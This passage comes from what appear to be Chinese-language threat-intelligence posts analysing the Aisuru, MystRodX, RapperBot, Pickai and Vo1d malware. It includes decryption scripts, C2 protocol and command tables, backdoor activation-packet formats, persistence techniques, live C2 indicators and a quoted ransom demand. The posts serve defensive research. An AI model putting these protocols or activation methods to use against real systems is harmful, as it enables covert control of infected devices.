			S[k] = S[j]
			S[j] = byte(t1)
		}
	}
	i, j, k := 0, 0, 0
	m := uint32(1)
	result := make([]byte, 0, len(data))
for _, byteVal := range data {
		i = (i + 1) % 256
		j = (j + int(S[i])) % 256
		k = (k + int(S[(i+j)%256])) % 256
		S[i], S[j] = S[j], S[i]
		m = rol32(m, 1)
if (m & 1) != 0 {
			m ^= 0xD800A4
		}
		t := (S[(k+j)%256] + S[(j+i)%256]) & 0xff
		t1 := ((byte(m) ^ S[t]) >> 4) ^ rol8(byte(m)^S[t], 3)&0xff
		result = append(result, byteVal^t1)
	}
return result
}

以下图的密文为例：

使用AIRASHI_RC4解密后，我们得到的明文是一条充满挑衅意味的信息。对此，我们只想回应一句：“阁下莫非是皮痒了？”

tHiS mOnTh At qiAnXin shitlab a NeW aisurU vErSiOn hIt oUr bOtMoN sYsTeM dOiNg tHe CHAaCha sLiDe
翻译为中文为：本月在奇安信的shitlab，一个新的Aisuru版本出现在了我们的BotMon系统，正在跳ChaCha舞。

当然，AISURU在样本中隐藏的信息远不止这一条。感兴趣的读者可以自行对样本（MD5: 053a0abe0600d16a91b822eb538987bca3f3ab55）进行解密分析。一旦成功解密，你就会明白，我们为何下定决心要坚决打击这一网络攻击团伙。

C2获取

样本继续保持之前的C2解密方法，通过|分割从字符串表中解密的C2字符串，得到多个子域名和主域名，再通过,分割多个子域名，示例如下：

decrypted str: sub1,sub2,sub3|domain.tld
c2_1: sub1.domain.tld
c2_2: sub2.domain.tld
c2_3: sub3.domain.tld

在解析域名时，仍使用加密的TXT记录，在之前的blog的样本中使用base64+ChaCha20进行解密，新版本只是弃用了ChaCha20，改用异或获取IP。对C2解密感兴趣的读者，可参阅Appendix章节的CyberChef，只需要将C2的TXT记录复制到INPUT即可。

网速测试

开发者在最新的几个版本中，加入了网络上传速度测试的功能，该功能使用了speedtest的公共服务

GET /speedtest-servers-static.php 获取测试服务器

GET /speedtest/latency.txt 获取延迟最低的服务器
向延迟最低的服务器POST随机数据，时间为10s（部分样本为100ms）

但该功能并不会对程序运行和C2连接方面产生影响，只是在得到结果后向C2报告。我们认为测速这一新增加功能的的目的是为后续的代理指令服务，很显然C2会向一些网络良好的节点下发代理指令，让其成为住宅代理中的一环。

网络协议

协议方面和之前版本相比，整体流程变化不大，仍保留获取共享的ChaCha20密码、确认机制，只是在消息格式和指令、加密算法方面做修改。

新的消息由三部分构成：消息头、随机字节和消息体，如图所示是解密后的上线包：

消息头长度固定为8字节，由4个字段组成：

msgType(1byte) + randSize(1byte) + bodySize(2byte) + bodyHash(4byte)

上线包新增字段：

struct login{
uint32 stun_ip;  
uint32 botid_len;
char botid[botid_len];
uint32 version;
uint32 nodename_len;
char nodename[nodename_len];
uint32 cwd_len;
char cwd[cwd_len];
uint32 kernel_ver_len;
char kernel_ver[kernel_ver_len];
uint16 reserve1;
uint8 reserve2;
bool support_udp;
}

新版本支持的指令及对应的功能描述如下：

msgType	desc
0	get shared net key
1	key info
2	confirm key
3	login info
4	heartbeat
5	exit
6	attack
7	execute cmd
8	new cnc
9	reverse shell
10	proxy
101	report telnet scan
201	report killer
202	report netspeed

可以看出新样本不仅支持DDoS攻击，还支持Proxy。随着全球执法机构对网络犯罪的打击力度不断加大，网络犯罪集团对匿名化服务的需求日益增长。正所谓有需求的地方，就有利益。僵尸网络控制的节点天然适合构建住宅代理，从我们的目前积累的案例来看，这似乎是近年来DDoS圈的一个潮流，把业务从单一的攻击，扩展到网络代理。

我们在XLab指令跟踪系统中实现了Aisuru网络协议，和预期一样，不仅接收到常规的DDoS攻击指令，还接到和Proxy相关的指令。

很显然，Aisuru 已不再满足于 DDoS 攻击这一单一业务模式，开始涉足代理服务领域，试图充分利用其手中庞大的节点资源，以谋求更多经济利益。

IoC

C2

coerece[.ilovegaysex[.su
approach[.ilovegaysex[.su
ministry[.ilovegaysex[.su
lane[.ilovegaysex[.su
a.6mv1eyr328y6due83u3js6whtzuxfyhw[.ru

Report/Download Server

u[.ilovegaysex[.su
updatetoto[.tw

Proxy Relay C2

194.46.59[.169	United Kingdom|England|Exeter	AS206509|KCOM GROUP LIMITED
104.171.170[.241	United States|Virginia|Ashburn	AS7922|Comcast Cable Communications, LLC
104.171.170[.253	United States|Virginia|Ashburn	AS7922|Comcast Cable Communications, LLC
107.173.196[.189	United States|New York|Buffalo	AS36352|ColoCrossing
64.188.68[.193	United States|District of Columbia|Washington	AS46339|CSDVRS, LLC
78.108.178[.100	Czech Republic|Praha, Hlavni mesto|Prague	AS62160|Yes Networks Unlimited Ltd

Sample

09894c3414b42addbf12527b0842ee7011e70cfd
51d9a914b8d35bb26d37ff406a712f41d2075bc6
616a3bef8b0be85a3c2bc01bbb5fb4a5f98bf707
ccf40dfe7ae44d5e6922a22beed710f9a1812725
26e9e38ec51d5a31a892e57908cb9727ab60cf88
08e9620a1b36678fe8406d1a231a436a752f5a5e
053a0abe0600d16a91b822eb538987bca3f3ab55

阅读原文

跳转微信打开

静默之控：主动与被动双模后门MystRodX的隐匿渗透

Wed, 27 Aug 2025 17:04:00 +0800

原创奇安信X实验室 2025-08-27 17:04 北京

背景介绍

2025年6月6日，Xlab大网威胁感知系统监测到 IP 139.84.156.79 正在传播一个VT低检测 4/65，名为dst86.bin的可疑ELF文件。多引擎检测模块将该文件标识为MIRAI僵尸网络，但AI研判模块却没有给出相应的结果。这个“异常”引起了我们的兴趣，经过分析确认它是Dropper，最终会释放出一个全新的后门木马，和Mirai完全无关，多家杀软将其标记为Mirai是不准确的。基于其传僠中使用的文件名dst，释放样本中的类名cmy_，多种形式的Xor算法，我们将它命名为MystRodX。

MystRodX是一个由C++语言实现的典型后门木马，支持文件管理，端口转发，反弹SHELL，sockets管理等功能。相较于一般的后门，MystRodX在隐匿性，灵活性俩方面具有非常鲜明的特点。其中隐匿性体现在对于不同级别敏感信息采用了差异化加密策略：

虚拟机&调试器检测等相关敏感字符串使用单字节xor加密
AES密钥，Payload，激活报文使用自定义的Transform算法加密
配置文件使用AES CBC模式加密

而灵活性则是MystRodX会根据不同的配置动态开启不同的功能特性，比如网络协议使用TCP或HTTP，流量直接使用明文或AES加密等。其中最有意思的是支持被动唤醒的触发模式，即MystRodX可配置成被动式后门，在不使用开放端口的情况下由特定的DNS或ICMP网络报文激活。

MystRodX的配置中存在一项用于设定后门生效时间的选项。在已捕获的样本中，该选项所设置的最早时间为2024年01月07日 23:10:20，表明该后门在真实网络中已潜伏超过20个月，且一直未被安全社区准确识别。此外，基于奇安信网络空间测绘鹰图平台的C2探测服务，发现了3个仍在活跃的C2服务器，并以技术手段确认在野还存在未被捕获的样本。再考虑到该后门所采用的被动通信机制所带来的高隐蔽特性，我们决定撰写本文，公开相关研究成果，以揭示这一长期存在的威胁，为增强网络安全防御能力提供支持。

被动后门模式

配置中Backdoor Type选项的值为1时，MystRodX开启被动后门模式，它使用RAW SOCKET监听网络流量，可在不使用开放端口的情况下，被特定的DNS或ICMP网络报文激活。

激活报文采用了Transform算法加密，解密后的格式为Magic（4字节）+ Protocol（4字节）+ Port（4字节）+ C2。当 Magic 值比对通过后，MystRodX 便会根据报文中指定的协议类型与C2建立通信，等待接收攻击者的后续指令。

不同于知名的SYNfull Knock后门完全利用TCP协议内部字段以传递指令，MystRodX使用的是一种更为简单的方式，即激活指令隐藏在ICMP 载荷或DNS请求的域名中。

1: DNS激活报文

首先看一下DNS激活报文，有效的激活报文必须是 www.Domain.com 这种格式。

DomainName使用base64解码后得到以下密文：

使用Transform算法，magic参数为0x0d，magic2参数为密文的最后一字节 0xaa, key参数为key_for_backdoor进行解密，即可得到以下明文。

按照激活报文格式对明文进行解析，可知

Magic值为CAT
协议类型为TCP
端口为0x1f4a，即8010
C2为149.28.137.254

当Magic通过比对之后，MystRodX就与C2 149.28.137.254:8010建立通信，等待执行其下发的指令。

2: ICMP激活报文

接着看一下ICMP激活报文，这次我们从正向的角度，构造报文，观察样本的行为。

首先构造一个简单的ICMP ping请求 08 00 00 00 30 39 00 01, 接着构造PAYLOAD，指定C2为192.168.96.1，端口为433，协议使用HTTP。

然后使用Transform算法，magic2参数设为0x9f对Payload进行加密。最终将ICMP 与 Payload合并，形成以下的ICMP报文。

当MystRodX收到该ICMP报文后，就会与192.168.96.1:443建立通信连接，发送HTTP格式的上线报文。这和我们的预期完全一致，验证了分析的正确性。

深入挖掘

在目前捕获的俩个MystRodX样本中，其配置的C2服务器均未开放有效端口。完成逆向分析后，我们面临一个关键问题：MystRodX究竟是一个仍在活跃的威胁，还是已被彻底废弃？为回答这一问题，我们依托于奇安信网络空间测绘鹰图平台分别从BOT端和C2端进行了一些尝试。

1: 唤醒BOT

我们尝试在全网范围内发送DNS/ICMP激活报文，意图唤醒处于被动模式的MystRodX后门，从而定位潜在受害者。遗憾的是，除我们自己的测试IP外，并未收到任何有效上线响应。造成这一现象的原因可能包括：在野MystRodX样本并未启用被动后门模式，或者样本使用了新的密钥、Magic值等配置，导致我们发出的激活报文未能匹配生效。

2: 探测C2

借助活跃C2探测服务的支持，我们成功发现3个仍在活跃的在野C2服务器。

149.28.137[.]254
156.244.6[.]68
185.22.153[.]228

这些服务器对上线报文做出了响应，向Bot回复7号指令，要求开启流量加密。它们从2024年活跃至今，证明了MystRodX威胁的持续存在。

在MystRodX的配置项中包含一组RSA公钥，用于解密7号指令。攻击者通常会在不同活动中部署不同的公钥，目前已发现的两个公钥分别用于“neybquno”和“zoufkcfr”活动。在7号指令报文中，偏移0x110处长度为256字节的部分为MagicString的密文。只有当该密文经解密后得到的MagicString与样本中硬编码的字符串 0x68abut 完全一致时，MystRodX才会尝试开启流量加密。利用这一特性，可以判断某个C2是否用于已知的攻击活动。

在新捕获的三个活跃C2服务器中，仅149.28.137.254下发的7号指令能够被已知公钥成功解密。这一现象表明，另外两个C2（156.244.6.68与185.22.153.228）应归属于某次尚未知晓的攻击活动，意味着当前在野环境中肯定存在尚未被捕获的MystRodX样本。

由于篇幅原因，本文只介绍了MystRodX最有意思的被动后门模式，想要了解更多技术细节的读者可以访问XLAB Blog，上面详细地分享我们的发现&分析旅程。

https://blog.xlab.qianxin.com/mystrodx_covert_dual-mode_backdoor/

或者点击下方的阅读原文，想了解更多内幕花絮，或有独家线索的读者，可以通过公众号给我们留言。

阅读原文

跳转微信打开

僵尸永远不死：RapperBot僵尸网络近况分析

Tue, 17 Jun 2025 17:25:07 +0800

原创奇安信X实验室 2025-06-17 17:25 北京

概述RapperBot 是一个活跃的僵尸网络家族，最早由 CNCERT 于 2022 年 7 月公开并命名。

概述

RapperBot 是一个活跃的僵尸网络家族，最早由 CNCERT 于 2022 年 7 月公开并命名。FortiGuard Labs 在 2022 年 11 月的报告中将其活动时间追溯至 2021 年。2025 年 2 月，RapperBot 参与了针对 Deepseek 的攻击；自 3 月起其攻击行为显著活跃，日均攻击目标超过百个，观测到的 bot 数量超过 5 万。

该家族不仅持续迭代，还在样本中留下了带有挑衅意味的信息。例如，样本中曾留下未使用的字符串

https://www.youtube.com/watch?v=4fm_ZZn5qaw

该Youtube视频的内容是一首Rap歌曲《I Am Da Bag》。一些样本中还留下字符串要求关注rapper2tallforfood。也曾向逆向工程师询问是否在分析其样本时听了其音乐，并公然挑衅我们的前团队

NETLAB360

。

它甚至承诺将在下次更新中“留下新消息”，但遗憾的是我们未再收到，样本中的留言信息如下：

图中 pastebin URL

https://pastebin.com/dfHYSqVz

使用Base64解码后的内容如下：

This is rapperbot, rapperbot is in its testing and development stages. Take nothing here seriously.

Brian Krebs approves of this project; he is our number one supporter.

FUCK DOTA3.TAR.GZ (outlaw) AND FUCK xorddos for using those dumb ass low IQ root kits. (they have no idea what's to come)

I love Olivia Rodrigo, soon I will be rich enough to meet her.

Question, Did you guys listen to my music whilst reverse engineering my binary? (https://www.youtube.com/watch?v=4fm_ZZn5qaw)

I can only imagine the Chinese (NETLAB360) researchers not understanding it at all and trying to decode the meaning behind it.

Anyway, 2tall out!

See you guys in the next update, I'll most likely leave another note.

在近期样本中，我们注意到 RapperBot 似乎开始对受害者进行敲诈，要求缴纳“保护费”以避免 DDoS 攻击。

Donate $5,000 in XMR to (48SFiWgbAaFf75KsRSEEr4iDcxrevFzVmhgfb6Qudss52JK8cCR8bwmUxNBPN2VmqDTucJL3eabiZc5XRYVGkbh6BH58Ytk) to be blacklisted from this and future botnets from us. Contact: horse@riseup.net with TxID and IP Range/ASN.

XLAB 对该家族保持长期追踪，以下将与社区分享我们的一些最新发现。

BOT规模

在我们分析Rapperbot样本时发现它生成的32个C2域名有部分域名尚未被注册。我们于2024年4月3日主动注册了其中若干个尚未被使用的C2域名，通过对访问我们注册域名的僵尸主机（BOT）进行统计和分析，我们能够间接获取该Rapperbot僵尸网络的BOT规模、分布范围等信息。

在最近一个月的观测中，BOT IP数量峰值达到5w+，BOT活跃趋势如下：

BOT分组信息：

BOT感染地区分布：

感染设备

根据XLAB全球鹰测绘系统提供的数据分析，Rapperbot恶意软件目前主要感染的设备类型集中在具有公网访问能力的物联网终端，尤其是网络摄像头、家用及企业级路由器等。这些设备通常存在默认弱口令或固件漏洞，容易成为攻击者的入侵目标。根据统计，其感染的设备中排名靠前的WEB界面标题（Web Title）如下：

DDoS攻击目标

RapperBot的攻击目标遍布各个行业领域，包括公共管理、社会保障和社会组织、互联网平台、制造业、金融服务业等。从地域分布上看，中国地区的目标数量最多。也曾在热点时间攻击过其他重要平台。比如：春节期间攻击知名人工智能平台DeepSeek，3月中旬攻击社交媒体平台Twitter

样本传播

根据我们的数据观察，RapperBot 主要通过 Telnet 弱口令以及利用已知漏洞进行传播。目前其主要利用的漏洞包括但不限于以下几种：

样本分析

经过对该家族样本追踪，我们发现开发者每隔几个月会对样本进行更新并进入活跃状态，在长达1年多的时间里我们捕获了该家族的7个变种：

time	sha1	ps	decrypt method	login length
2023-07-21	8a9a098dabcc09c8a770777f12c71017bb26940b	listening tun0	mirai字符串解密,key固定(0xDEADBEEF)	36
2023-10-15	d4bca8193b808dcdbdb79367ac688f6f424da36f	listening tun0	rapperbot自定义字符串解密	171
2023-12-27	a742f069f604aa302dbfe6ccf0bc481726e76fb6	listening tun0	rapperbot自定义字符串解密	114
2024-03-10	09dc5f47374410bb05cfd72bc1fa6523a35ec6dc	listening tun0	mirai字符串解码,多个解密key	60
2024-06-14	bc21342317fca22076406873013959ed111cf8dc	Firmware update in progress	mirai字符串解码,多个解密key	90
2024-10-10	cc687e707919c4176ab03bdc76ab01bbaa7c0e22	Firmware update in progress	mirai字符串解码,多个解密key	120
2025-03-30	4a0aa2b7f357164dbd49c0c6ab71a3c73e148aaa	Firmware update in progress	rapperbot自定义字符串解密	120

该家族不同变种的样本大同小异，修改内容集中在消息的数据结构、DNS-TXT记录的解析方法、字符串解码上；功能上以DDoS为主，从2024年10月开始添加了代理功能。

C2获取

与大多数botnet不同，rapperbot通过DNS-TXT记录中解析C2域名，目前我们发现了4种TXT记录格式：

time period	TXT record format
2023.07 - 2024.04	IP,IP,IP
2024.06 - 2024.10
2024.10 - 2025.03	IP\|IP\|IP\|
2025.03 - now	EncryptedString

在端口方面，早期的几个版本使用固定端口，如

1111

、

1024

、

9999

等；在最新样本中则从随机的35个端口中选择一个：

443,4443,993,995,25565,1935,3478,27015,7777,3724,5222,7000,5223,4444,3074,27014,27050,3544,6666,2222,22022,2022,19153,3389,37777,6036,34567,5000,10554,554,18004,9000,35000,10001,9001

加解密算法

字符串解密算法

RapperBot使用过三种加密算法，早期使用和Mirai相同的算法，后续开发出独特自定义解密算法和Mirai解密算法的加强版，并在多个版本中轮换使用：

改进Mirai源代码的字符串解密方法，为每个字符串添加不同的4字节解密密钥，并且继续延用Mirai的解密函数
自定义的解密方法，key的长度不固定且进行了二次加密，再对data进行多字节异或

C2/DNS-TXT解密算法

从2025年3月开始，rapperbot使用自定义的加密算法加密TXT记录和C2域名：
通过解密字符串表，我们可以得到3个的字符串：

str	desc
ipWPeY43MhfFBt8ZCSN2KTdD6nEkmGjwx7vJR5rogzbcqHsXUQuyVA9L	解密算法用到的table
WF6i6VEcfjnyqtGKxism65YwRE9VYzzzbtLgLD4tWEsnZLgbJfuE94qtvTqGgVG3ScFtsfcxqTNtYKRWQTqNBqp6VLMv2p	被加密的二级域名列表
WMKFVCnSHDrC89fvKgCShwmRjEx8	被加密的三级域名列表

顶级域名字符串没有写入字符串表，而是通过栈写入全局变量：

经过独特的算法解密后可以得到C2域名的各个部分，解密算法及解密结果如下：

def decodeTXT(data:str):
    key = "ipWPeY43MhfFBt8ZCSN2KTdD6nEkmGjwx7vJR5rogzbcqHsXUQuyVA9L"
    a = key.find(data[0])
    b = key.find(data[1])
    seed = 56*a+b
    magic = 1000000000 + 0x62B846D
    S = bytearray(range(56))
    T = bytearray(56)
    tseed = seed
    for i in range(55, 0, -1):
        tseed = (magic * tseed + 0x3039)&0xffffffff
        index = tseed%(i+1)
        S[i], S[index] = S[index], S[i]
    for i in range(56):
        T[S[i]] = i
    res = bytearray()
    for i in data[2:]:
        index = (T[key.find(i)] - (len(data)-2) - seed)%56
        res.append(index)
    length = ceil(len(res) * log2(56) / 8)
    res3 = bytearray(length)  
    for t1 in res:
        carry = t1
        for i in reversed(range(len(res3))):
            temp = res3[i] * 56 + carry
            res3[i] = temp & 0xFF  
            carry = temp >> 8  
    while len(res3) > 0 and res3[0] == 0:
        del res3[0]
    return res3 if len(res3) > 0 else bytearray(b'\x00')

三级域名：KDXA|EICp|kHbW|YFrV
二级域名：ByxWGIMPbwiSkniw|gwYhHCOrybwjWuzh|GaihWstPZUoMtfnU|zkUAFIMFDwVETXJQ
一级域名：info|live

使用"|"分割域名的各个部分，最终会生成32个C2域名，随机选择一个进行DNS-TXT解析，TXT记录字符串使用相同的解密算法解密：

TXT记录：i7do6u4FtLeeMjmnwWczxKJmtoRRvgCCqiinWW9EUtVpLx38db5xrCfr8mHmsxmutZ4C8fXL2jhGVzfdUQmvvnzZW7pCJmUpi
解密后：5.230.39.10|5.230.68.153|82.24.200.59|82.24.200.68|62.146.235.220|5.230.227.190|5.230.227.191|5.230.227.237|5.230.227.238

网络协议

Rapperbot的网络协议相对简单，不涉及密钥交换和复杂加密，payload只进行了单字节异或（key不固定）。
在多个变种只对上线信息和消息编码进行修改。

上线信息

RapperBot在不同版本的上线包格式不同，有时会增加字段，有时会减少字段，但都包含

hostname

、

source

、

stunIP

、

localIP

，并用非0随机数填充未使用空间，在最新版本中添加了网络信息字段，总大小为120，以下是相关结构描述：

消息编码

在网络通信方面，不同版本的消息格式存在微小差异，但通常都由3部分组成：Header、Payload、RandData。以最新样本为例，Header添加了校验码字段，RandData则由字符串表

q1x4fyntb3i0umw2gzcr9a5jkv7o8pl6eohds

随机生成：

消息结构体：

struct rapperbot_packet{
int32 total_size;
int32 payload_size;
int16 checkcode;
int8 xorkey;
int8 packet_type;
int8 payload[payload_size];
int8 randdata[total_size-payload_size];
};

已知的消息类型及作用：

PacketType	Desc
1	Login
2	Confirm
3	Pong
4	HeartBeat
5	Start Attack
6	Stop Attack
9	Proxy Enable
10	Proxy Disable
11	Proxy Create
12	Proxy Start
13	Proxy Close

联系

感兴趣的读者可以联系我们

阅读原文

跳转微信打开

警惕AI扒手：Pickai后门正通过ComfyUI漏洞传播

Wed, 11 Jun 2025 16:39:00 +0800

原创奇安信X实验室 2025-06-11 16:39 北京

背景

目前已有境外黑客组织利用ComfyUI漏洞对我网络资产实施网络攻击，伺机窃取重要敏感数据 -- 来自国家网络安全通报中心

2025年5月27日，国家网络安全通报中心发布预警，指出ComfyUI存在数个高危漏洞，且已被黑客组织利用，要求企业采取防护措施，避免网络与数据安全风险。显然，随着私有化部署AI模型的浪潮席卷各行各业，作为大模型图像生成领域的热门框架，ComfyUI在获得广泛应用的同时，也不可避免地成为了黑客攻击的重点目标。本文将介绍奇安信XLab视野中的攻击活动，并详细分析这些攻击活动的具体特征和危害方式。

让我们把时钟拨回到2025年3月17日，

Xlab大网威胁感知系统

检测到IP 185.189.149.151通过ComfyUI漏洞传播多个伪装成配置文件的VT 低检测ELF可执行程序（如config.json，tmux.conf，vim.json等）经过分析，我们确认这几个文件属于同一个后门木马，基于它们具有窃取AI敏感数据的能力，我们从扒手（pickpocket）一词获得灵感，将它命名为AI扒手，Pickai。

Pickai是一个由C++编写的轻量级后门程序，主要功能包括远程命令执行和反弹shell。麻雀虽小，但五内脏俱全，Pickai具有较强的隐蔽性，健壮性以及持久化能力。在主机行为层面，它支持反调试、进程伪装和多种持久化机制；在网络通信层面，虽然未采用加密算法，但内置了多个C2（命令与控制）服务器作为冗余备份，定时检测C2可用性，自动切换以维持控制链路的稳定。

在逆向分析过程中，我们发现Pickai的一个C2域名 h67t48ehfth8e.com 处于未注册状态后，立即进行了抢注。通过接管该域名，我们成功获取了部分威胁视野，数据显示全球共有695台服务器被感染。Pickai的作者发现这一情况后，马上更新样本，投入一个有效期长达5年的C2 域名 historyandresearch.com，表现出一种针锋相对的对抗姿态。

另外值得注意的是Pickai 的恶意样本托管在电商赋能平台 Rubick.ai 的官方网站。Rubick是一家AI电子商务公司，它的业务覆盖美国、印度、新加坡、中东等国际市场。从官网和其他的公开信息来看，Rubick已为200多家领先的电子商务品牌提供服务，部分知名客户包括：

亚马逊（Amazon）：利用 Rubick.ai 的目录管理服务优化其产品数据。
The Luxury Closet（阿联酋）：奢侈品电商，使用其 AI 工具进行图像编辑和产品属性提取
Hudson Bay：北美零售商，使用其 PIM 和营销工具提升产品展示效率。
Myntra：印度领先的时尚电商平台，依赖 Rubick.ai 的目录管理服务处理超过 700 万个 SKU

Rubick.ai作为众多客户的 upstream 服务提供商，它被黑客入侵就意味着它的产品、服务都有可能被值入恶意代码，带来严重的

供应链攻击

风险。再考虑到当前安全厂商对 Pickai 样本的检测多为泛型（Generic）结果，且大量 C2 服务器尚未被有效标记。我们决定撰写本文向社区分享这一发现，共同维护网络安全。

时间线

2025年2月28日，Pickai的早期版本从香港上传到VT，使用的C2为
195.43.6.252
。
2025年3月17日，XLab首次捕获通过ComfyUI漏洞传播Pickai的Payload。
2025年5月3日，XLab向Rubick.ai通告被入侵，遗憾的是该公司并未回应。
2025年5月26日，XLab监测到Pickai的另一个下载服务器
78.47.151.49
。

感染分布与基础设施

2025年3月17日，我们对C2 h67t48ehfth8e.com进行抢注，依托于该域名，我们获得了Pickai后门的部分感染视野。从数据来看，全球有近700台设备被感染，主要分布在德国，美国和中国。

Pickai对于C2的访问是有先后顺序的，其中h67t48ehfth8e的优先级最低。4月13日以及5月5日两天出现Spike，峰值超过400。我们认为，该数字体现了Pickai真实的日活。Spike的原因是在那两天其余C2出现故障，从而使得h67t48ehfth8e有机会一窥全貌。

Pickai样本更新后，引入一个有效期长达5年的C2

historyandresearch.com

,该域名的构词，以及没有开启DNS解析的行为，都像是对我们抢注行为的回应。我们推测攻击者的心理活动是这样的：

"XLab你们不是挺能抢注域名嘛，来，我整个5年有效期的C2，再抢过去给我看看？！哈哈，我就是要挑衅你们，把你们气个半死却拿我没办法，爽！"

对此，我们只想说，“不能接管这个域名，我们可以曝光其他的C2呀！”。目前Pickai的C2服务器虽然检测率接近零，但相信安全社区很快就会让它的作者明白：恶意软件的生存周期，从来都是由防御者书写的。

样本分析

我们一共捕获了7个Pickai样本，本文以5月26日最新的样本为主要分析对象，它的基本信息如下所示：

MD5:8680f76a9faaa7f62967da8a66f5a59c

MAGIC:ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, stripped

Pickai的功能比较简单，当它运行时，首先对加密的字符串进行解密，包括C2，持久化脚本等各种敏感的配置信息，然后通过检测进程的TracerPid字段进行反调试，使用pid文件确保单一实例运行，调用prctl函数对进程名进行修改进。接着根据当前用户的不同权限，通过init.d或systemd实现持久化，最后和C2建立通信，等待执行C2下发的指令。

下文将从主机行为与网络通信两个维度对Pickai后门进行分析，重点关注字符串解密、持久化机制和网络协议等关键技术特征。

Part 1: 解密字串

Pickai的大部分敏感字符串加密存储在rodata段，加密方法为单字节与0xAF进行异或。因此密文有一个明显的特征，即以0xAF结尾。

为了逆向分析的方便，可以使用以下idapython代码进行解密，只需要确定

密文的开始与结尾

即可。

startAddr=0x000000000000D028
endAddr=0x000000000000DBD8
buf=ida_bytes.get_bytes(startAddr,endAddr-startAddr)
items=buf.replace(b'\x00',b'').split(b"\xaf")
for item in items:
    plaintxt=bytearray()
    ciphertxt= ' '.join(f'{byte:02X}' for byte in item)
    addr=idc.find_binary(startAddr,idaapi.SEARCH_DOWN,ciphertxt)

    for i in item:
        plaintxt.append(i^0xaf)
    print(f"0x{addr:x}, has {len(plaintxt)} bytes ----> {plaintxt}")
    plaintxt.append(0)
    ida_bytes.patch_bytes(addr,bytes(plaintxt))
    idc.create_strlit(addr,addr+len(plaintxt))

效果如下所示，解密出的明文中包括C2，进程伪装，持久化等功能相关的信息。

Part 2: 主机行为

Pickai在主机行为方面，支持反调试，单一实例，进程伪装，持久化等特性。它们的技术实现上并无特别的“脑洞”，进程伪装和持久化稍有特色，它们都体现了一个“多”的特点。

0x1: 进程伪装

进程伪装的“多”，体现在伪装的进程名上。Pickai会在20个进程名中随机选择一个，使用prctl函数对自身进程名进行修改。

伪装进程名的详细信息如下：

0x2:持久化

持久化的“多”，体现在持久化服务数量上：root用户10个，普通用户5个。

当前用户权限为root时，Pickai首先会将自身复制到5个不同的路径，并同步它们的“最后修改时间”至“/bin/sh”文件的时间戳，然后创建服务，利用init.d & systemd 两种机制实现持久化。

以下为Pickai副本所在的路径，以及它们对应的持久化服务。使用init.d机制时，这些服务位于/etc/init.d/目录，而systemd机制，这些服务则位于/usr/lib/systemd/system/或/lib/systemd/system/。

很明显，Pickai试图仿冒正常系统服务，蒙混过关。实际创建的auditlogd持久化脚本如下所示：

另外值得一提的是，Pickai在自我复制过程中，会在文件尾部追加随机数据。这种技术手段很明显是在规避基于文件哈希值的检测机制。

可以看出5个Pickai副本的MD5完全不一样：

当用户权限不是root时，Pickai使用systemd机制实现持久化，整个过程与root权限相似，只不过副本路径以及服务名称有所不同。这些服务位于

$HOME/.config/systemd/user/

。

Pickai正是通过这种冗余的持久化机制，在被感染设备上实现多个分身，只要一处没有清理干净，它就能卷土重来。

Part 3: 网络通信

Pickai通过一个永真的循环进行网络通信，它的通信机制采用三级定时策略：每43200秒（12小时）从6个硬编码C2中轮换活跃节点，每1200秒周期性上报设备信息，每120秒向C2请求指令。

0x1: 请求指令报文

长度1024字节，前7字节为“LISTEN|”，其余部分0x00填充。支持

EXECUTE

和

REVERSE

俩个指令，它们分别对应执行系统命令和反弹shell俩个功能。

0x2: 上报设备信息报文

长度1024字节，前7字节为“UPDATE|”，其后紧跟着3部分元数据，未使用的空间使用0x00填充

系统指纹（uname -a）
特权状态（当前用户是否为root）
是否为docker（检测1号进程是否为init或systemd）

0x3: C2验活报文

样本中硬编码了6个C2，Bot以先后顺序为优先级，依次向这些C2发送验活请求，直至收到首个活跃C2的响应。这种设计使得高优先级C2在正常通信时掩盖低优先级C2的存在，在一定程度上能够对抗基于沙箱流量进行IOC生产的系统。

验活报文长度7字节，固定为“STATUS|”，当C2回复

LISTENING

时，表示该C2处于活跃状态。

0x4: 跟踪到的指令

我们在XLab指令跟踪系统中实现了Pickai的协议，只在6月6日接收2条指令，用于开启反弹shell。由于尚未对REVERSE、EXECUTE等后续攻击指令进行模拟，攻击者在成功建立shell会话后的具体攻击意图暂无法完整溯源。

总结

Pickai的冗余持久化机制使其具备类似顽固木马的特性，即使仅残留一处未被清理，就能触发再生。网络管理员可基于前文所述的Pickai主机行为特征进行深度排查，确保其植入的5个副本被彻底清除，避免残留导致二次感染。

这是我们当前掌握的关于Pickai的基本情报，诚邀具有独特视角的同行企业及受此后门木马影响的网络管理员和我们联系提供进一步的线索。

阅读原文

跳转微信打开

风云再起：全球160万电视被Vo1d僵尸网络操控，潜在危害令人担忧

Wed, 26 Feb 2025 15:35:00 +0800

原创奇安信X实验室 2025-02-26 15:35 北京

引子

2025 年 2 月 24 日，美国全国广播公司新闻（NBC News）报道称："华盛顿特区的美国住房与城市发展部（HUD）总部的电视设备突然播放了一段未经授权的 AI 生成视频。视频画面中，唐纳德·特朗普总统弯腰亲吻埃隆·马斯克的脚趾，并配以LONG LIVE THE REAL KING字幕。工作人员无法关闭只能被迫拔掉所有电视电源"。这一事件迅速引发舆论热议，公众广泛讨论。网络安全社区亦被触动，开始重新评估电视、机顶盒等设备被黑客攻陷后可能带来的重大风险。今天我们要向读者介绍的恶意程序正是专门针对Android电视设备的僵尸网络，Vo1d。

背景介绍

2024年11月28日，XLab大网威胁感知系统监测到IP地址38.46.218.36正在传播一个VT 0 检测，名为jddx的ELF文件，AI检测模块提示该文件带有“Bigpanzi僵尸网络的基因”。这引起了我们的兴趣，稍加分析，我们确认jddx是一个使用了Bigpanzi字符串加密算法的下载器，但其代码结构与已知的Bigpanzi样本存在显著差异。难道我们去年曝光的百万级僵尸网络Bigpanzi悄悄的开展了新业务？带着这一疑问，我们展开了深入分析。结果表明，jddx实际上隶属于另一个百万级别僵尸网络Vo1d的新变种。它本身是一个此前从未被安全社区曝光的下载器组件，其后续投递的Payload正是Vo1d僵尸网络的全新变种，这一发现标志着Vo1d已开启新一轮活动。

从我们目前掌握的数据来看，Vo1d僵尸网络此次活动感染了全球160万台Android电视设备，波及全球200多个国家和地区。为了让非网安背景的读者了解百万级别僵尸网络的威力，我们来看看现实中的例子：

2024年Cloudflare遭遇的超级攻击：一次DDoS攻击达到5.6 Tbps的恐怖流量，足以让任何网站瞬间崩溃。那次攻击，只用了1.5万台设备，而我们本次观测到的Vo1d控制着至少160万台设备，规模是那次的100多倍。
